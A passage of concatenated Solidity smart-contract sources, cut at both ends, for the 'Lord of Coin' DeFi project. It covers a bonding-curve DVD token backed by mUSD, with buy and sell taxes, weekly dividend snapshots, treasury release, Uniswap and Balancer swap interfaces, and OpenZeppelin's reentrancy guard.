renounceOwnership(); } /* ========== Mutative ========== */ /// @notice Release SDVD to be added as profit function release() external { _release(); } /* ========== Internal ========== */ function _release() internal { if (releaseTime.add(releaseThreshold) <= block.timestamp) { // Update release time releaseTime = block.timestamp; // Get SDVD balance uint256 sdvdBalance = IERC20(sdvd).balanceOf(address(this)); // If there is SDVD in this contract // and there is enough liquidity to swap if (sdvdBalance > 0 && IERC20(sdvd).balanceOf(pairAddress) >= sdvdBalance) { // Use uniswap since this contract is registered as no fee address for swapping SDVD to ETH // Swap path address[] memory path = new address[](2); path[0] = sdvd; path[1] = weth; // Swap SDVD to ETH on uniswap // uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( sdvdBalance, 0, path, address(this), block.timestamp.add(30 minutes) ); // Get all ETH in this contract uint256 ethAmount = address(this).balance; // Convert ETH to WETH IWETH(weth).deposit{ value: ethAmount }(); // Swap WETH to mUSD (uint256 musdAmount,) = IBPool(balancerPool).swapExactAmountIn(weth, ethAmount, musd, 0, uint256(-1)); // Send it to Lord of Coin IERC20(musd).safeTransfer(controller, musdAmount); // Deposit profit ILordOfCoin(controller).depositTradingProfit(musdAmount); } } } } // SPDX-License-Identifier: Unlicensed pragma solidity >=0.5.0; interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface ILordOfCoin { function marketOpenTime() external view returns (uint256); function dvd() external view returns (address); function sdvd() external view returns (address); function sdvdEthPairAddress() external view returns (address); function buy(uint256 musdAmount) external returns (uint256 recipientDVD, uint256 marketTax, uint256 curveTax, uint256 taxedDVD); function buyTo(address recipient, uint256 musdAmount) external returns (uint256 recipientDVD, uint256 marketTax, uint256 curveTax, uint256 taxedDVD); function buyFromETH() payable external returns (uint256 recipientDVD, uint256 marketTax, uint256 curveTax, uint256 taxedDVD); function sell(uint256 dvdAmount) external returns (uint256 returnedMUSD, uint256 marketTax, uint256 curveTax, uint256 taxedDVD); function sellTo(address recipient, uint256 dvdAmount) external returns (uint256 returnedMUSD, uint256 marketTax, uint256 curveTax, uint256 taxedDVD); function sellToETH(uint256 dvdAmount) external returns (uint256 returnedETH, uint256 returnedMUSD, uint256 marketTax, uint256 curveTax, uint256 taxedDVD); function claimDividend() external returns (uint256 net, uint256 fee); function claimDividendTo(address recipient) external returns (uint256 net, uint256 fee); function claimDividendETH() external returns (uint256 net, uint256 fee, uint256 receivedETH); function checkSnapshot() external; function releaseTreasury() external; function depositTradingProfit(uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IBPool { function isPublicSwap() external view returns (bool); function isFinalized() external view returns (bool); function isBound(address t) external view returns (bool); function getNumTokens() external view returns (uint); function getCurrentTokens() external view returns (address[] memory tokens); function getFinalTokens() external view returns (address[] memory tokens); function getDenormalizedWeight(address token) external view returns (uint); function getTotalDenormalizedWeight() external view returns (uint); function getNormalizedWeight(address token) external view returns (uint); function getBalance(address token) external view returns (uint); function getSwapFee() external view returns (uint); function getController() external view returns (address); function setSwapFee(uint swapFee) external; function setController(address manager) external; function setPublicSwap(bool public_) external; function finalize() external; function bind(address token, uint balance, uint denorm) external; function rebind(address token, uint balance, uint denorm) external; function unbind(address token) external; function gulp(address token) external; function getSpotPrice(address tokenIn, address tokenOut) external view returns (uint spotPrice); function getSpotPriceSansFee(address tokenIn, address tokenOut) external view returns (uint spotPrice); function joinPool(uint poolAmountOut, uint[] calldata maxAmountsIn) external; function exitPool(uint poolAmountIn, uint[] calldata minAmountsOut) external; function swapExactAmountIn( address tokenIn, uint tokenAmountIn, address tokenOut, uint minAmountOut, uint maxPrice ) external returns (uint tokenAmountOut, uint spotPriceAfter); function swapExactAmountOut( address tokenIn, uint maxAmountIn, address tokenOut, uint tokenAmountOut, uint maxPrice ) external returns (uint tokenAmountIn, uint spotPriceAfter); function joinswapExternAmountIn( address tokenIn, uint tokenAmountIn, uint minPoolAmountOut ) external returns (uint poolAmountOut); function joinswapPoolAmountOut( address tokenIn, uint poolAmountOut, uint maxAmountIn ) external returns (uint tokenAmountIn); function exitswapPoolAmountIn( address tokenOut, uint poolAmountIn, uint minAmountOut ) external returns (uint tokenAmountOut); function exitswapExternAmountOut( address tokenOut, uint tokenAmountOut, uint maxPoolAmountIn ) external returns (uint poolAmountIn); function totalSupply() external view returns (uint); function balanceOf(address whom) external view returns (uint); function allowance(address src, address dst) external view returns (uint); function approve(address dst, uint amt) external returns (bool); function transfer(address dst, uint amt) external returns (bool); function transferFrom( address src, address dst, uint amt ) external returns (bool); function calcSpotPrice( uint tokenBalanceIn, uint tokenWeightIn, uint tokenBalanceOut, uint tokenWeightOut, uint swapFee ) external returns (uint spotPrice); function calcOutGivenIn( uint tokenBalanceIn, uint tokenWeightIn, uint tokenBalanceOut, uint tokenWeightOut, uint tokenAmountIn, uint swapFee ) external returns (uint tokenAmountOut); function calcInGivenOut( uint tokenBalanceIn, uint tokenWeightIn, uint tokenBalanceOut, uint tokenWeightOut, uint tokenAmountOut, uint swapFee ) external returns (uint tokenAmountIn); function calcPoolOutGivenSingleIn( uint tokenBalanceIn, uint tokenWeightIn, uint poolSupply, uint totalWeight, uint tokenAmountIn, uint swapFee ) external returns (uint poolAmountOut); function calcSingleInGivenPoolOut( uint tokenBalanceIn, uint tokenWeightIn, uint poolSupply, uint totalWeight, uint poolAmountOut, uint swapFee ) external returns (uint tokenAmountIn); function calcSingleOutGivenPoolIn( uint tokenBalanceOut, uint tokenWeightOut, uint poolSupply, uint totalWeight, uint poolAmountIn, uint swapFee ) external returns (uint tokenAmountOut); function calcPoolInGivenSingleOut( uint tokenBalanceOut, uint tokenWeightOut, uint poolSupply, uint totalWeight, uint tokenAmountOut, uint swapFee ) external returns (uint poolAmountIn); } // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@openzeppelin/contracts/utils/ReentrancyGuard.sol'; import "./uniswapv2/interfaces/IUniswapV2Factory.sol"; import "./uniswapv2/interfaces/IUniswapV2Router02.sol"; import "./uniswapv2/interfaces/IWETH.sol"; import './interfaces/IERC20Snapshot.sol'; import './interfaces/ITreasury.sol'; import './interfaces/IVault.sol'; import './interfaces/IMasset.sol'; import './interfaces/IDvd.sol'; import './interfaces/ISDvd.sol'; import './interfaces/IPool.sol'; import './interfaces/IBPool.sol'; import './utils/MathUtils.sol'; /// @title Lord of Coin /// @notice Lord of Coin finds the money, for you - to spend it. /// @author Lord Nami // Special thanks to TRIB as inspiration. // Special thanks to Lord Nami mods @AspieJames, @defimoon, @tectumor, @downsin, @ghost, @LordFes, @converge, @cryptycreepy, @cryptpower, @jonsnow // and everyone else who support this project by spreading the words on social media. contract LordOfCoin is ReentrancyGuard { using SafeMath for uint256; using MathUtils for uint256; using SafeERC20 for IERC20; event Bought(address indexed sender, address indexed recipient, uint256 musdAmount, uint256 dvdReceived); event Sold(address indexed sender, address indexed recipient, uint256 dvdAmount, uint256 musdReceived); event SoldToETH(address indexed sender, address indexed recipient, uint256 dvdAmount, uint256 ethReceived); event DividendClaimed(address indexed recipient, uint256 musdReceived); event DividendClaimedETH(address indexed recipient, uint256 ethReceived); event Received(address indexed from, uint256 amount); /// @notice Applied to every buy or sale of DVD. /// @dev Tax denominator uint256 public constant CURVE_TAX_DENOMINATOR = 10; /// @notice Applied to every buy of DVD before bonding curve tax. /// @dev Tax denominator uint256 public constant BUY_TAX_DENOMINATOR = 20; /// @notice Applied to every sale of DVD after bonding curve tax. /// @dev Tax denominator uint256 public constant SELL_TAX_DENOMINATOR = 10; /// @notice The slope of the bonding curve. uint256 public constant DIVIDER = 1000000; // 1 / multiplier 0.000001 (so that we don't deal with decimals) /// @notice Address in which DVD are sent to be burned. /// These DVD can't be redeemed by the reserve. address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; /// @dev Uniswap router IUniswapV2Router02 uniswapRouter; /// @dev WETH token address address weth; /// @dev Balancer pool WETH-MUSD address balancerPool; /// @dev mUSD token mStable address. address musd; /// @notice Dvd token instance. address public dvd; /// @notice SDvd token instance. address public sdvd; /// @notice Pair address for SDVD-ETH on uniswap address public sdvdEthPairAddress; /// @notice SDVD-ETH farming pool. address public sdvdEthPool; /// @notice DVD farming pool. address public dvdPool; /// @notice Dev treasury. address public devTreasury; /// @notice Pool treasury. address public poolTreasury; /// @notice Trading treasury. address public tradingTreasury; /// @notice Total dividend earned since the contract deployment. uint256 public totalDividendClaimed; /// @notice Total reserve value that backs all DVD in circulation. /// @dev Area below the bonding curve. uint256 public totalReserve; /// @notice Interface for integration with mStable. address public vault; /// @notice Current state of the application. /// Either already open (true) or not yet (false). bool public isMarketOpen = false; /// @notice Market will be open on this timestamp uint256 public marketOpenTime; /// @notice Current snapshot id /// Can be thought as week index, since snapshot is increased per week uint256 public snapshotId; /// @notice Snapshot timestamp. uint256 public snapshotTime; /// @notice Snapshot duration. uint256 public SNAPSHOT_DURATION = 1 weeks; /// @dev Total profits on each snapshot id. mapping(uint256 => uint256) private _totalProfitSnapshots; /// @dev Dividend paying SDVD supply on each snapshot id. mapping(uint256 => uint256) private _dividendPayingSDVDSupplySnapshots; /// @dev Flag to determine if account has claim their dividend on each snapshot id. mapping(address => mapping(uint256 => bool)) private _isDividendClaimedSnapshots; receive() external payable { emit Received(msg.sender, msg.value); } constructor( address _vault, address _uniswapRouter, address _balancerPool, address _dvd, address _sdvd, address _sdvdEthPool, address _dvdPool, address _devTreasury, address _poolTreasury, address _tradingTreasury, uint256 _marketOpenTime ) public { // Set vault vault = _vault; // mUSD instance musd = IVault(vault).musd(); // Approve vault to manage mUSD in this contract _approveMax(musd, vault); // Set uniswap router uniswapRouter = IUniswapV2Router02(_uniswapRouter); // Set balancer pool balancerPool = _balancerPool; // Set weth address weth = uniswapRouter.WETH(); // Approve balancer pool to manage mUSD in this contract _approveMax(musd, balancerPool); // Approve balancer pool to manage WETH in this contract _approveMax(weth, balancerPool); // Approve self to spend mUSD in this contract (used to buy from ETH / sell to ETH) _approveMax(musd, address(this)); dvd = _dvd; sdvd = _sdvd; sdvdEthPool = _sdvdEthPool; dvdPool = _dvdPool; devTreasury = _devTreasury; poolTreasury = _poolTreasury; tradingTreasury = _tradingTreasury; // Create SDVD ETH pair sdvdEthPairAddress = IUniswapV2Factory(uniswapRouter.factory()).createPair(sdvd, weth); // Set open time marketOpenTime = _marketOpenTime; // Set initial snapshot timestamp snapshotTime = _marketOpenTime; } /* ========== Modifier ========== */ modifier marketOpen() { require(isMarketOpen, 'Market not open'); _; } modifier onlyTradingTreasury() { require(msg.sender == tradingTreasury, 'Only treasury'); _; } /* ========== Trading Treasury Only ========== */ /// @notice Deposit trading profit to vault function depositTradingProfit(uint256 amount) external onlyTradingTreasury { // Deposit mUSD to vault IVault(vault).deposit(amount); } /* ========== Mutative ========== */ /// @notice Exchanges mUSD to DVD. /// @dev mUSD to be exchanged needs to be approved first. /// @param musdAmount mUSD amount to be exchanged. function buy(uint256 musdAmount) external nonReentrant returns (uint256 recipientDVD, uint256 marketTax, uint256 curveTax, uint256 taxedDVD) { return _buy(msg.sender, msg.sender, musdAmount); } /// @notice Exchanges mUSD to DVD. /// @dev mUSD to be exchanged needs to be approved first. /// @param recipient Recipient of DVD token. /// @param musdAmount mUSD amount to be exchanged. function buyTo(address recipient, uint256 musdAmount) external nonReentrant returns (uint256 recipientDVD, uint256 marketTax, uint256 curveTax, uint256 taxedDVD) { return _buy(msg.sender, recipient, musdAmount); } /// @notice Exchanges ETH to DVD. function buyFromETH() payable external nonReentrant returns (uint256 recipientDVD, uint256 marketTax, uint256 curveTax, uint256 taxedDVD) { return _buy(address(this), msg.sender, _swapETHToMUSD(address(this), msg.value)); } /// @notice Exchanges DVD to mUSD. /// @param dvdAmount DVD amount to be exchanged. function sell(uint256 dvdAmount) external nonReentrant marketOpen returns (uint256 returnedMUSD, uint256 marketTax, uint256 curveTax, uint256 taxedDVD) { return _sell(msg.sender, msg.sender, dvdAmount); } /// @notice Exchanges DVD to mUSD. /// @param recipient Recipient of mUSD. /// @param dvdAmount DVD amount to be exchanged. function sellTo(address recipient, uint256 dvdAmount) external nonReentrant marketOpen returns (uint256 returnedMUSD, uint256 marketTax, uint256 curveTax, uint256 taxedDVD) { return _sell(msg.sender, recipient, dvdAmount); } /// @notice Exchanges DVD to ETH. /// @param dvdAmount DVD amount to be exchanged. function sellToETH(uint256 dvdAmount) external nonReentrant marketOpen returns (uint256 returnedETH, uint256 returnedMUSD, uint256 marketTax, uint256 curveTax, uint256 taxedDVD) { // Sell DVD and receive mUSD in this contract (returnedMUSD, marketTax, curveTax, taxedDVD) = _sell(msg.sender, address(this), dvdAmount); // Swap received mUSD dividend for ether and send it back to sender returnedETH = _swapMUSDToETH(msg.sender, returnedMUSD); emit SoldToETH(msg.sender, msg.sender, dvdAmount, returnedETH); } /// @notice Claim dividend in mUSD. function claimDividend() external nonReentrant marketOpen returns (uint256 dividend) { return _claimDividend(msg.sender, msg.sender); } /// @notice Claim dividend in mUSD. /// @param recipient Recipient of mUSD. function claimDividendTo(address recipient) external nonReentrant marketOpen returns (uint256 dividend) { return _claimDividend(msg.sender, recipient); } /// @notice Claim dividend in ETH. function claimDividendETH() external nonReentrant marketOpen returns (uint256 dividend, uint256 receivedETH) { // Claim dividend to this contract dividend = _claimDividend(msg.sender, address(this)); // Swap received mUSD dividend for ether and send it back to sender receivedETH = _swapMUSDToETH(msg.sender, dividend); emit DividendClaimedETH(msg.sender, receivedETH); } /// @notice Check if we need to create new snapshot. function checkSnapshot() public { if (isMarketOpen) { // If time has passed for 1 week since last snapshot // and market is open if (snapshotTime.add(SNAPSHOT_DURATION) <= block.timestamp) { // Update snapshot timestamp snapshotTime = block.timestamp; // Take new snapshot snapshotId = ISDvd(sdvd).snapshot(); // Save the interest _totalProfitSnapshots[snapshotId] = totalProfit(); // Save dividend paying supply _dividendPayingSDVDSupplySnapshots[snapshotId] = dividendPayingSDVDSupply(); } // If something wrong / there is no interest, lets try again. if (snapshotId > 0 && _totalProfitSnapshots[snapshotId] == 0) { _totalProfitSnapshots[snapshotId] = totalProfit(); } } } /// @notice Release treasury. function releaseTreasury() public { if (isMarketOpen) { ITreasury(devTreasury).release(); ITreasury(poolTreasury).release(); ITreasury(tradingTreasury).release(); } } /* ========== View ========== */ /// @notice Get claimable dividend for address. /// @param account Account address. /// @return dividend Dividend in mUSD. function claimableDividend(address account) public view returns (uint256 dividend) { // If there is no snapshot or already claimed if (snapshotId == 0 || isDividendClaimedAt(account, snapshotId)) { return 0; } // Get sdvd balance at snapshot uint256 sdvdBalance = IERC20Snapshot(sdvd).balanceOfAt(account, snapshotId); if (sdvdBalance == 0) { return 0; } // Get dividend in mUSD based on SDVD balance dividend = sdvdBalance .mul(claimableProfitAt(snapshotId)) .div(dividendPayingSDVDSupplyAt(snapshotId)); } /// @notice Total mUSD that is now forever locked in the protocol. function totalLockedReserve() external view returns (uint256) { return _calculateReserveFromSupply(dvdBurnedAmount()); } /// @notice Total claimable profit. /// @return Total claimable profit in mUSD. function claimableProfit() public view returns (uint256) { return totalProfit().div(2); } /// @notice Total claimable profit in snapshot. /// @return Total claimable profit in mUSD. function claimableProfitAt(uint256 _snapshotId) public view returns (uint256) { return totalProfitAt(_snapshotId).div(2); } /// @notice Total profit. /// @return Total profit in MUSD. function totalProfit() public view returns (uint256) { uint256 vaultBalance = IVault(vault).getBalance(); // Sometimes mStable returns a value lower than the // deposit because their exchange rate gets updated after the deposit. if (vaultBalance < totalReserve) { vaultBalance = totalReserve; } return vaultBalance.sub(totalReserve); } /// @notice Total profit in snapshot. /// @param _snapshotId Snapshot id. /// @return Total profit in MUSD. function totalProfitAt(uint256 _snapshotId) public view returns (uint256) { return _totalProfitSnapshots[_snapshotId]; } /// @notice Check if dividend already claimed by account. /// @return Is dividend claimed. function isDividendClaimedAt(address account, uint256 _snapshotId) public view returns (bool) { return _isDividendClaimedSnapshots[account][_snapshotId]; } /// @notice Total supply of DVD. This includes burned DVD. /// @return Total supply of DVD in wei. function dvdTotalSupply() public view returns (uint256) { return IERC20(dvd).totalSupply(); } /// @notice Total DVD that have been burned. /// @dev These DVD are still in circulation therefore they /// are still considered on the bonding curve formula. /// @return Total burned DVD in wei. function dvdBurnedAmount() public view returns (uint256) { return IERC20(dvd).balanceOf(BURN_ADDRESS); } /// @notice DVD price in wei according to the bonding curve formula. /// @return Current DVD price in wei. function dvdPrice() external view returns (uint256) { // price = supply * multiplier return dvdTotalSupply().roundedDiv(DIVIDER); } /// @notice DVD price floor in wei according to the bonding curve formula. /// @return Current DVD price floor in wei. function dvdPriceFloor() external view returns (uint256) { return dvdBurnedAmount().roundedDiv(DIVIDER); } /// @notice Total supply of Dividend-paying SDVD. /// @return Total supply of SDVD in wei. function dividendPayingSDVDSupply() public view returns (uint256) { // Get total supply return IERC20(sdvd).totalSupply() // Get sdvd in uniswap pair balance .sub(IERC20(sdvd).balanceOf(sdvdEthPairAddress)) // Get sdvd in SDVD-ETH pool .sub(IERC20(sdvd).balanceOf(sdvdEthPool)) // Get sdvd in DVD pool .sub(IERC20(sdvd).balanceOf(dvdPool)) // Get sdvd in pool treasury .sub(IERC20(sdvd).balanceOf(poolTreasury)) // Get sdvd in dev treasury .sub(IERC20(sdvd).balanceOf(devTreasury)) // Get sdvd in trading treasury .sub(IERC20(sdvd).balanceOf(tradingTreasury)); } /// @notice Total supply of Dividend-paying SDVD in snapshot. /// @return Total supply of SDVD in wei. function dividendPayingSDVDSupplyAt(uint256 _snapshotId) public view returns (uint256) { return _dividendPayingSDVDSupplySnapshots[_snapshotId]; } /// @notice Calculates the amount of DVD in exchange for reserve after applying bonding curve tax. /// @param reserveAmount Reserve value in wei to use in the conversion. /// @return Token amount in wei after the 10% tax has been applied. function reserveToDVDTaxed(uint256 reserveAmount) external view returns (uint256) { if (reserveAmount == 0) { return 0; } uint256 tax = reserveAmount.div(CURVE_TAX_DENOMINATOR); uint256 totalDVD = reserveToDVD(reserveAmount); uint256 taxedDVD = reserveToDVD(tax); return totalDVD.sub(taxedDVD); } /// @notice Calculates the amount of reserve in exchange for DVD after applying bonding curve tax. /// @param tokenAmount Token value in wei to use in the conversion. /// @return Reserve amount in wei after the 10% tax has been applied. function dvdToReserveTaxed(uint256 tokenAmount) external view returns (uint256) { if (tokenAmount == 0) { return 0; } uint256 reserveAmount = dvdToReserve(tokenAmount); uint256 tax = reserveAmount.div(CURVE_TAX_DENOMINATOR); return reserveAmount.sub(tax); } /// @notice Calculates the amount of DVD in exchange for reserve. /// @param reserveAmount Reserve value in wei to use in the conversion. /// @return Token amount in wei. function reserveToDVD(uint256 reserveAmount) public view returns (uint256) { return _calculateReserveToDVD(reserveAmount, totalReserve, dvdTotalSupply()); } /// @notice Calculates the amount of reserve in exchange for DVD. /// @param tokenAmount Token value in wei to use in the conversion. /// @return Reserve amount in wei. function dvdToReserve(uint256 tokenAmount) public view returns (uint256) { return _calculateDVDToReserve(tokenAmount, dvdTotalSupply(), totalReserve); } /* ========== Internal ========== */ /// @notice Check if market can be opened function _checkOpenMarket() internal { require(marketOpenTime <= block.timestamp, 'Market not open'); if (!isMarketOpen) { // Set flag isMarketOpen = true; } } /// @notice Exchanges mUSD to DVD. /// @dev mUSD to be exchanged needs to be approved first. /// @param sender Address that has mUSD token. /// @param recipient Address that will receive DVD token. /// @param musdAmount mUSD amount to be exchanged. function _buy(address sender, address recipient, uint256 musdAmount) internal returns (uint256 returnedDVD, uint256 marketTax, uint256 curveTax, uint256 taxedDVD) { _checkOpenMarket(); checkSnapshot(); releaseTreasury(); require(musdAmount > 0, 'Cannot buy 0'); // Tax to be included as profit marketTax = musdAmount.div(BUY_TAX_DENOMINATOR); // Get amount after market tax uint256 inAmount = musdAmount.sub(marketTax); // Calculate bonding curve tax in mUSD curveTax = inAmount.div(CURVE_TAX_DENOMINATOR); // Convert mUSD amount to DVD amount uint256 totalDVD = reserveToDVD(inAmount); // Convert tax to DVD amount taxedDVD = reserveToDVD(curveTax); // Calculate DVD for recipient returnedDVD = totalDVD.sub(taxedDVD); // Transfer mUSD from sender to this contract IERC20(musd).safeTransferFrom(sender, address(this), musdAmount); // Deposit mUSD to vault IVault(vault).deposit(musdAmount); // Increase mUSD total reserve totalReserve = totalReserve.add(inAmount); // Send taxed DVD to burn address IDvd(dvd).mint(BURN_ADDRESS, taxedDVD); // Increase recipient DVD balance IDvd(dvd).mint(recipient, returnedDVD); // Increase user DVD Shareholder point IDvd(dvd).increaseShareholderPoint(recipient, returnedDVD); emit Bought(sender, recipient, musdAmount, returnedDVD); } /// @notice Exchanges DVD to mUSD. /// @param sender Address that has DVD token. /// @param recipient Address that will receive mUSD token. /// @param dvdAmount DVD amount to be exchanged. function _sell(address sender, address recipient, uint256 dvdAmount) internal returns (uint256 returnedMUSD, uint256 marketTax, uint256 curveTax, uint256 taxedDVD) { checkSnapshot(); releaseTreasury(); require(dvdAmount <= IERC20(dvd).balanceOf(sender), 'Insufficient balance'); require(dvdAmount > 0, 'Cannot sell 0'); require(IDvd(dvd).shareholderPointOf(sender) >= dvdAmount, 'Insufficient shareholder points'); // Convert number of DVD amount that user want to sell to mUSD amount uint256 reserveAmount = dvdToReserve(dvdAmount); // Calculate tax in mUSD curveTax = reserveAmount.div(CURVE_TAX_DENOMINATOR); // Make sure fee is enough require(curveTax >= 1, 'Insufficient tax'); // Get net amount uint256 net = reserveAmount.sub(curveTax); // Calculate taxed DVD taxedDVD = _calculateReserveToDVD( curveTax, totalReserve.sub(reserveAmount), dvdTotalSupply().sub(dvdAmount) ); // Tax to be included as profit marketTax = net.div(SELL_TAX_DENOMINATOR); // Get musd amount for recipient returnedMUSD = net.sub(marketTax); // Decrease total reserve totalReserve = totalReserve.sub(net); // Reduce user DVD balance IDvd(dvd).burn(sender, dvdAmount); // Send taxed DVD to burn address IDvd(dvd).mint(BURN_ADDRESS, taxedDVD); // Decrease sender DVD Shareholder point IDvd(dvd).decreaseShareholderPoint(sender, dvdAmount); // Redeem mUSD from vault IVault(vault).redeem(returnedMUSD); // Send mUSD to recipient IERC20(musd).safeTransfer(recipient, returnedMUSD); emit Sold(sender, recipient, dvdAmount, returnedMUSD); } /// @notice Claim dividend in mUSD. /// @param sender Address that has SDVD token. /// @param recipient Address that will receive mUSD dividend. function _claimDividend(address sender, address recipient) internal returns (uint256 dividend) { checkSnapshot(); releaseTreasury(); // Get dividend in mUSD based on SDVD balance dividend = claimableDividend(sender); require(dividend > 0, 'No dividend'); // Set dividend as claimed _isDividendClaimedSnapshots[sender][snapshotId] = true; // Redeem mUSD from vault IVault(vault).redeem(dividend); // Send dividend mUSD to user IERC20(musd).safeTransfer(recipient, dividend); emit DividendClaimed(recipient, dividend); } /// @notice Swap ETH to mUSD in this contract. /// @param amount ETH amount. /// @return musdAmount returned mUSD amount. function _swapETHToMUSD(address recipient, uint256 amount) internal returns (uint256 musdAmount) { // Convert ETH to WETH IWETH(weth).deposit{ value: amount }(); // Swap WETH to mUSD (musdAmount,) = IBPool(balancerPool).swapExactAmountIn(weth, amount, musd, 0, uint256(-1)); // Send mUSD if (recipient != address(this)) { IERC20(musd).safeTransfer(recipient, musdAmount); } } /// @notice Swap mUSD to ETH in this contract. /// @param amount mUSD Amount. /// @return ethAmount returned ETH amount. function _swapMUSDToETH(address recipient, uint256 amount) internal returns (uint256 ethAmount) { // Swap mUSD to WETH (ethAmount,) = IBPool(balancerPool).swapExactAmountIn(musd, amount, weth, 0, uint256(-1)); // Convert WETH to ETH IWETH(weth).withdraw(ethAmount); // Send ETH if (recipient != address(this)) { payable(recipient).transfer(ethAmount); } } /// @notice Approve maximum value to spender function _approveMax(address tkn, address spender) internal { uint256 max = uint256(- 1); IERC20(tkn).safeApprove(spender, max); } /** * Supply (s), reserve (r) and token price (p) are in a relationship defined by the bonding curve: * p = m * s * The reserve equals to the area below the bonding curve * r = s^2 / 2 * The formula for the supply becomes * s = sqrt(2 * r / m) * * In solidity computations, we are using divider instead of multiplier (because its an integer). * All values are decimals with 18 decimals (represented as uints), which needs to be compensated for in * multiplications and divisions */ /// @notice Computes the increased supply given an amount of reserve. /// @param _reserveDelta The amount of reserve in wei to be used in the calculation. /// @param _totalReserve The current reserve state to be used in the calculation. /// @param _supply The current supply state to be used in the calculation. /// @return _supplyDelta token amount in wei. function _calculateReserveToDVD( uint256 _reserveDelta, uint256 _totalReserve, uint256 _supply ) internal pure returns (uint256 _supplyDelta) { uint256 _reserve = _totalReserve; uint256 _newReserve = _reserve.add(_reserveDelta); // s = sqrt(2 * r / m) uint256 _newSupply = MathUtils.sqrt( _newReserve .mul(2) .mul(DIVIDER) // inverse the operation (Divider instead of multiplier) .mul(1e18) // compensation for the squared unit ); _supplyDelta = _newSupply.sub(_supply); } /// @notice Computes the decrease in reserve given an amount of DVD. /// @param _supplyDelta The amount of DVD in wei to be used in the calculation. /// @param _supply The current supply state to be used in the calculation. /// @param _totalReserve The current reserve state to be used in the calculation. /// @return _reserveDelta Reserve amount in wei. function _calculateDVDToReserve( uint256 _supplyDelta, uint256 _supply, uint256 _totalReserve ) internal pure returns (uint256 _reserveDelta) { require(_supplyDelta <= _supply, 'Token amount must be less than the supply'); uint256 _newSupply = _supply.sub(_supplyDelta); uint256 _newReserve = _calculateReserveFromSupply(_newSupply); _reserveDelta = _totalReserve.sub(_newReserve); } /// @notice Calculates reserve given a specific supply. /// @param _supply The token supply in wei to be used in the calculation. /// @return _reserve Reserve amount in wei. function _calculateReserveFromSupply(uint256 _supply) internal pure returns (uint256 _reserve) { // r = s^2 * m / 2 _reserve = _supply .mul(_supply) .div(DIVIDER) // inverse the operation (Divider instead of multiplier) .div(2) .roundedDiv(1e18); // correction of the squared unit } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IERC20Snapshot { function balanceOfAt(address account, uint256 snapshotId) external view returns (uint256); function totalSupplyAt(uint256 snapshotId) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface ITreasury { function release() external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IVault { function savingsContract() external view returns (address); function musd() external view returns (address); function deposit(uint256) external; function redeem(uint256) external; function getBalance() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import { MassetStructs } from "./MassetStructs.sol"; /// /// @title IMasset /// @dev (Internal) Interface for interacting with Masset /// VERSION: 1.0 /// DATE: 2020-05-05 interface IMasset is MassetStructs { /// @dev Calc interest function collectInterest() external returns (uint256 massetMinted, uint256 newTotalSupply); /// @dev Minting function mint(address _basset, uint256 _bassetQuantity) external returns (uint256 massetMinted); function mintTo(address _basset, uint256 _bassetQuantity, address _recipient) external returns (uint256 massetMinted); function mintMulti(address[] calldata _bAssets, uint256[] calldata _bassetQuantity, address _recipient) external returns (uint256 massetMinted); /// @dev Swapping function swap( address _input, address _output, uint256 _quantity, address _recipient) external returns (uint256 output); function getSwapOutput( address _input, address _output, uint256 _quantity) external view returns (bool, string memory, uint256 output); /// @dev Redeeming function redeem(address _basset, uint256 _bassetQuantity) external returns (uint256 massetRedeemed); function redeemTo(address _basset, uint256 _bassetQuantity, address _recipient) external returns (uint256 massetRedeemed); function redeemMulti(address[] calldata _bAssets, uint256[] calldata _bassetQuantities, address _recipient) external returns (uint256 massetRedeemed); function redeemMasset(uint256 _mAssetQuantity, address _recipient) external; /// @dev Setters for the Manager or Gov to update module info function upgradeForgeValidator(address _newForgeValidator) external; /// @dev Setters for Gov to set system params function setSwapFee(uint256 _swapFee) external; /// @dev Getters function getBasketManager() external view returns(address); function forgeValidator() external view returns (address); function totalSupply() external view returns (uint256); function swapFee() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface IDvd is 